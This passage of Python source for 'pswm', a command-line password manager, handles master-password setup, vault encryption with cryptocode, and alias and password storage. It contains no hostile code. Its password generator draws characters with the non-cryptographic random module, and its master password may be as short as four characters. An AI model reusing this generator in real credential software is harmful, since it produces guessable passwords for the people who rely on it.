    table.set_style(SINGLE_BORDER)
    print(table)


def register():
    """
    This function asks the user for a master password for the creation of a
    password vault.

    Returns:
        str, list: The master password and a list of lines containing the
        aliases, users and passwords for the password vault.
    """
    crypt_key = ""
    while len(crypt_key) < MIN_PASS_LENGTH or len(crypt_key) > MAX_PASS_LENGTH:
        try:
            crypt_key = getpass.getpass("[pswm] Create a master password (" +
                                        str(MIN_PASS_LENGTH) + "-" +
                                        str(MAX_PASS_LENGTH) +
                                        " chars): ")
        except KeyboardInterrupt:
            print("\n")
            return False, ""

    crypt_key_verify = ""
    while crypt_key_verify != crypt_key:
        try:
            crypt_key_verify = getpass.getpass("[pswm] Confirm your "
                                               "master password: ")
        except KeyboardInterrupt:
            print("\n")
            return False, ""

    print("Password vault ~/.pswm created.")
    lines = []
    lines.append("pswm\t" + getpass.getuser() + "\t" + crypt_key)
    return crypt_key, lines


def login():
    """
    This function decrypts and reads the password vault.

    Returns:
        str, list: The master password and a list of lines containing the
        aliases and passwords decrypted from the password vault.
    """
    for _ in range(3):

        try:
            crypt_key = getpass.getpass("[pswm] Master password: ")
        except KeyboardInterrupt:
            print("\n")
            return False, ""

        lines = encrypted_file_to_lines(PASS_VAULT_FILE, crypt_key)
        if not lines:
            print("Sorry, try again.")
        else:
            return crypt_key, lines

    print("\nYou have failed to enter the master password 3 times.")
    return reset_master_password()


def manage_master_password():
    """
    Manager function for the master password. Asks the user for the master
    password if there is already a password vault. If not, it creates a new
    password vault associated to a new master password. Can also reset the
    master password after 3 failed attempts.

    Returns:
        str, list: The master password and a list of lines containing the
        aliases and passwords decrypted from the password vault.
    """
    if not (os.path.isfile(PASS_VAULT_FILE)
            and os.path.getsize(PASS_VAULT_FILE) > 0):
        return register()
    return login()


def reset_master_password():
    """
    Function to reset the master password.

    Returns:
        str, list: The master password and a list of lines containing the
        aliases and passwords decrypted from the password vault.
    """
    print("Resetting your master password will delete your password vault.")
    try:
        text = input(
            "[pswm] Do you want to reset your master password? (y/n): ")
    except KeyboardInterrupt:
        print("\nPassword reset aborted.")
        return False, ""

    if text == "y":
        if os.path.isfile(PASS_VAULT_FILE):
            os.remove(PASS_VAULT_FILE)
            print("Password vault ~/.pswm deleted.\n")
        return manage_master_password()

    print("Password reset aborted.")
    return False, ""


def lines_to_pass_vault(lines):
    """
    Splits each line of a list of lines into two parts. Then inserts the second
    part into the dictionary indexed by the first part.

    Args:
        lines(list): A list of lines.

    Returns:
        dict: A dictionary containing the aliases, usernames and passwords.
    """
    pass_vault = {}
    for line in lines:
        line = line.rstrip()
        try:
            alias, username, password = line.split('\t')
            pass_vault[alias] = [username, password]
        except ValueError:
            pass

    return pass_vault


def pass_vault_to_lines(pass_vault):
    """
    For each key in the dictionary, it inserts a string into a list containing
    the key and the values separated by a tab.

    Args:
        pass_vault(dict): A dictionary aliases associated to usernames
        and passwords.

    Returns:
        list: A list of lines each formatted as key\tvalue[0]\tvalue[1].
    """
    lines = ['\t'.join([alias, pass_vault[alias][0], pass_vault[alias][1]])
             for alias
             in pass_vault]

    return lines


def encrypted_file_to_lines(file_name, master_password):
    """
    This function opens and decrypts the password vault.

    Args:
        file_name (str): The name of the file containing the password vault.
        master_password (str): The master password to use to decrypt the
        password vault.

    Returns:
        list: A list of lines containing the decrypted passwords.
    """
    if not os.path.isfile(file_name):
        return ""

    with open(file_name, 'r') as file:
        encrypted_text = file.read()

    decrypted_text = cryptocode.decrypt(encrypted_text, master_password)
    if decrypted_text is False:
        return False

    decrypted_lines = decrypted_text.splitlines()
    return decrypted_lines


def lines_to_encrypted_file(lines, file_name, master_password):
    """
    This function encrypts and stores the password vault.

    Args:
        lines (list): A list of lines containing the aliases and passwords.
        file_name (str): The name of the file to store the password vault.
        master_password (str): The master password to use to encrypt the
        password vault.
    """
    decrypted_text = '\n'.join(lines)
    encrypted_text = cryptocode.encrypt(decrypted_text, master_password)

    with open(file_name, 'w') as file:
        file.write(encrypted_text)


def generate_password(length):
    """
    This function generates a random password of length passed as argument.

    Args:
        length (int): The length of the random password to be generated.

    Returns:
        str: A string containing the random password.
    """
    characters = string.ascii_letters + string.digits + '%+,-./:=@^_{}~'
    return ''.join(random.choice(characters) for _ in range(length))


####################
# GLOBAL VARIABLES #
####################

HELP_MSG = '''
  pswm <alias> <user> <password>   - Store a username and a password.
  pswm <alias> <user> -g=<length>  - Store a random password for a username.
  pswm <alias> -d                  - Delete user and password for an alias.
  pswm <alias>                     - Print user and password for an alias.
  pswm -a                          - Print all stored users and passwords.
'''
MIN_PASS_LENGTH = 4
DEFAULT_PASS_LENGTH = 16
MAX_PASS_LENGTH = 32
PASS_VAULT_FILE = get_xdg_data_path("pswm")


def main():
    """
    Main function.
    """
    crypt_key, lines = manage_master_password()
    if not crypt_key:
        return

    pass_vault = lines_to_pass_vault(lines)
    arg = args(["site", "username", "password"])

    if ("password" in arg or "-g" in arg or "-d" in arg) \
            and (str(arg.get("site", "")) == "pswm"):
        print("You cannot change or delete the master password.")

    elif arg.keys() == {"site", "username", "password"}:
        pass_vault[arg["site"]] = [
            arg["username"], arg["password"]]
        print("Added username and password for " + arg["site"] + ".")

    elif arg.keys() == {"site", "username", "-g"}:
        try:
            length = int(arg["-g"])
            if length <= 4:
                raise ValueError
        except ValueError:
            length = DEFAULT_PASS_LENGTH
        pass_vault[arg["site"]] = [
            arg["username"], generate_password(length)]
        print_pass_vault(pass_vault, arg["site"])

    elif arg.keys() == {"site", "-d"}:
        try:
            del pass_vault[arg["site"]]
            print("Deleted username and password for " + arg["site"] + ".")
        except KeyError:
            print("No password found for " + arg["site"] + ".")

    elif arg.keys() == {"site"}:
        print_pass_vault(pass_vault, arg["site"])

    elif arg.keys() == {"-a"}:
        print_pass_vault(pass_vault)

    else:
        print(HELP_MSG)

    lines = pass_vault_to_lines(pass_vault)
    lines_to_encrypted_file(lines, PASS_VAULT_FILE, crypt_key)


if __name__ == "__main__":
    main()

image

image

Untitled